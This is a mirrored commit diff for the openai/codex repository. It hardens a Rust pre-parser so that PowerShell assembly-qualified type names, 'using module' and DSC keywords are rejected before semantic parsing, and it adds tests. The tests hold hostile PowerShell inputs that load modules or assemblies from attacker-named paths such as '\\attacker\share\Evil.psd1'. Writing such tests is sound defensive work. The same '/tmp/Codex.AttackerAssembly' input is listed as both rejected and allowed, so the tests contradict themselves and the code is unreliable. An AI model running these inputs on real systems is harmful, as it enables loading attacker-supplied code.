mirror of
https://github.com/openai/codex.git
synced 2026-10-20 17:38:45 +00:00
fix(shell-command): reject assembly-qualified parser input
This commit is contained in:
@@ -212,6 +212,7 @@ async fn trusted_unsupported_scripts_use_the_generic_outer_policy() {
|
||||
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
|
||||
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
|
||||
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
|
||||
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
|
||||
// The raw pre-parser gate intentionally accepts false positives in exchange for
|
||||
// never invoking SMA on a possible parse-time construct.
|
||||
"Write-Output 'confusing but inert'",
|
||||
|
||||
@@ -787,6 +787,30 @@ Get-Content Cargo.toml"#,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parser_process_never_sends_assembly_qualified_types_to_sma() {
|
||||
let powershell = trusted_windows_powershell_parser();
|
||||
let mut parser = PowershellParserProcess::spawn(&powershell).unwrap();
|
||||
|
||||
for source in [
|
||||
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
|
||||
"[Codex.DoesNotExist, //attacker/share/Evil]",
|
||||
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
|
||||
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
|
||||
"[Codex.DoesNotExist <# ] #>, C:/workspace/Codex.AttackerAssembly]",
|
||||
] {
|
||||
let next_request_id = parser.next_request_id;
|
||||
assert_eq!(
|
||||
parser.parse(source).unwrap(),
|
||||
PowershellParseOutcome::Unsupported,
|
||||
);
|
||||
assert_eq!(
|
||||
parser.next_request_id, next_request_id,
|
||||
"assembly-qualified type reached the parser child: {source:?}",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parser_process_isolates_inherited_environment_and_module_search() {
|
||||
let temp = tempfile::tempdir().unwrap();
|
||||
|
||||
@@ -1,17 +1,33 @@
|
||||
/// Returns whether a PowerShell source must be rejected before calling `Parser::ParseInput`.
|
||||
///
|
||||
/// `ParseInput` is not a side-effect-free syntax parser. Its semantic passes can resolve `using`
|
||||
/// directives and initialize DSC configuration keywords, which may inspect or load a
|
||||
/// source-selected module path. Keep the pre-parser deliberately coarse and auditable: any raw
|
||||
/// mention of those language forms, or any backtick that could obscure spelling, is handled by
|
||||
/// the outer-command policy without sending the source to System.Management.Automation.
|
||||
/// directives, initialize DSC configuration keywords, and resolve assembly-qualified type names,
|
||||
/// any of which may inspect or load a source-selected path. Keep the pre-parser deliberately
|
||||
/// coarse and auditable: suspicious raw forms are handled by the outer-command policy without
|
||||
/// sending the source to System.Management.Automation.
|
||||
pub(super) fn requires_preparse_rejection(source: &str) -> bool {
|
||||
source.contains('`')
|
||||
|| contains_bracket_before_later_comma(source)
|
||||
|| ["using", "configuration", "import-dscresource"]
|
||||
.into_iter()
|
||||
.any(|keyword| contains_ignore_ascii_case(source, keyword))
|
||||
}
|
||||
|
||||
/// Assembly-qualified PowerShell type syntax contains `[` before a later `,`. Once an opening
|
||||
/// bracket is seen, deliberately never reset on `]`: comments and strings can contain a closing
|
||||
/// bracket before the real assembly delimiter, while `ParseInput` still resolves the assembly.
|
||||
fn contains_bracket_before_later_comma(source: &str) -> bool {
|
||||
let mut saw_bracket = false;
|
||||
for byte in source.bytes() {
|
||||
match byte {
|
||||
b'[' => saw_bracket = true,
|
||||
b',' if saw_bracket => return true,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn contains_ignore_ascii_case(source: &str, needle: &str) -> bool {
|
||||
source
|
||||
.as_bytes()
|
||||
|
||||
@@ -23,6 +23,20 @@ fn rejects_every_possible_parse_time_construct_before_semantic_parsing() {
|
||||
r"Write-Output 'using module Foo'",
|
||||
r#"Write-Output "configuration CodexProbe {}""#,
|
||||
r"Get-Content C:\configuration\using\file.txt",
|
||||
"[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]",
|
||||
"[Codex.DoesNotExist, //tmp/Codex.AttackerAssembly]",
|
||||
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
|
||||
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
|
||||
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
|
||||
"[Codex.DoesNotExist, //attacker/share/Evil]",
|
||||
"[Codex.DoesNotExist <# ] #>, /tmp/Codex.AttackerAssembly]",
|
||||
"[Codex.DoesNotExist\n,\n/tmp/Codex.AttackerAssembly]",
|
||||
"[System.Collections.Generic.Dictionary[string, Codex.DoesNotExist]]",
|
||||
"[System.Collections.Generic.List[[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]]]",
|
||||
"[Codex.DoesNotExistAttribute, Codex.AttackerAssembly()] class C {}",
|
||||
"[Codex.DoesNotExistAttribute <# ] #>, /tmp/Codex.AttackerAssembly()] class C {}",
|
||||
"Write-Output '[not a type]'; Write-Output a,b",
|
||||
"# [ inert\nWrite-Output a,b",
|
||||
] {
|
||||
assert!(requires_preparse_rejection(source), "accepted {source:?}");
|
||||
}
|
||||
@@ -36,6 +50,12 @@ fn allows_sources_without_raw_semantic_keywords() {
|
||||
r#"confi"guration" CodexProbe {}"#,
|
||||
"u'sing' module Foo",
|
||||
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
|
||||
"[System.String]::Empty",
|
||||
"$items[0]",
|
||||
"Write-Output 1,2; [System.String]::Empty",
|
||||
"Write-Output '[not a type]'",
|
||||
"[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]",
|
||||
"[Codex.DoesNotExist، /tmp/Codex.AttackerAssembly]",
|
||||
] {
|
||||
assert!(!requires_preparse_rejection(source), "rejected {source:?}");
|
||||
}
|
||||
|
||||
@@ -502,6 +502,10 @@ mod tests {
|
||||
for script in [
|
||||
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
|
||||
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
|
||||
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
|
||||
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
|
||||
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
|
||||
"[Codex.DoesNotExist, //attacker/share/Evil]",
|
||||
] {
|
||||
assert!(!is_safe_command_windows(&vec_str(&[
|
||||
windows_powershell_exe(),
|
||||
|
||||
Reference in New Issue
Block a user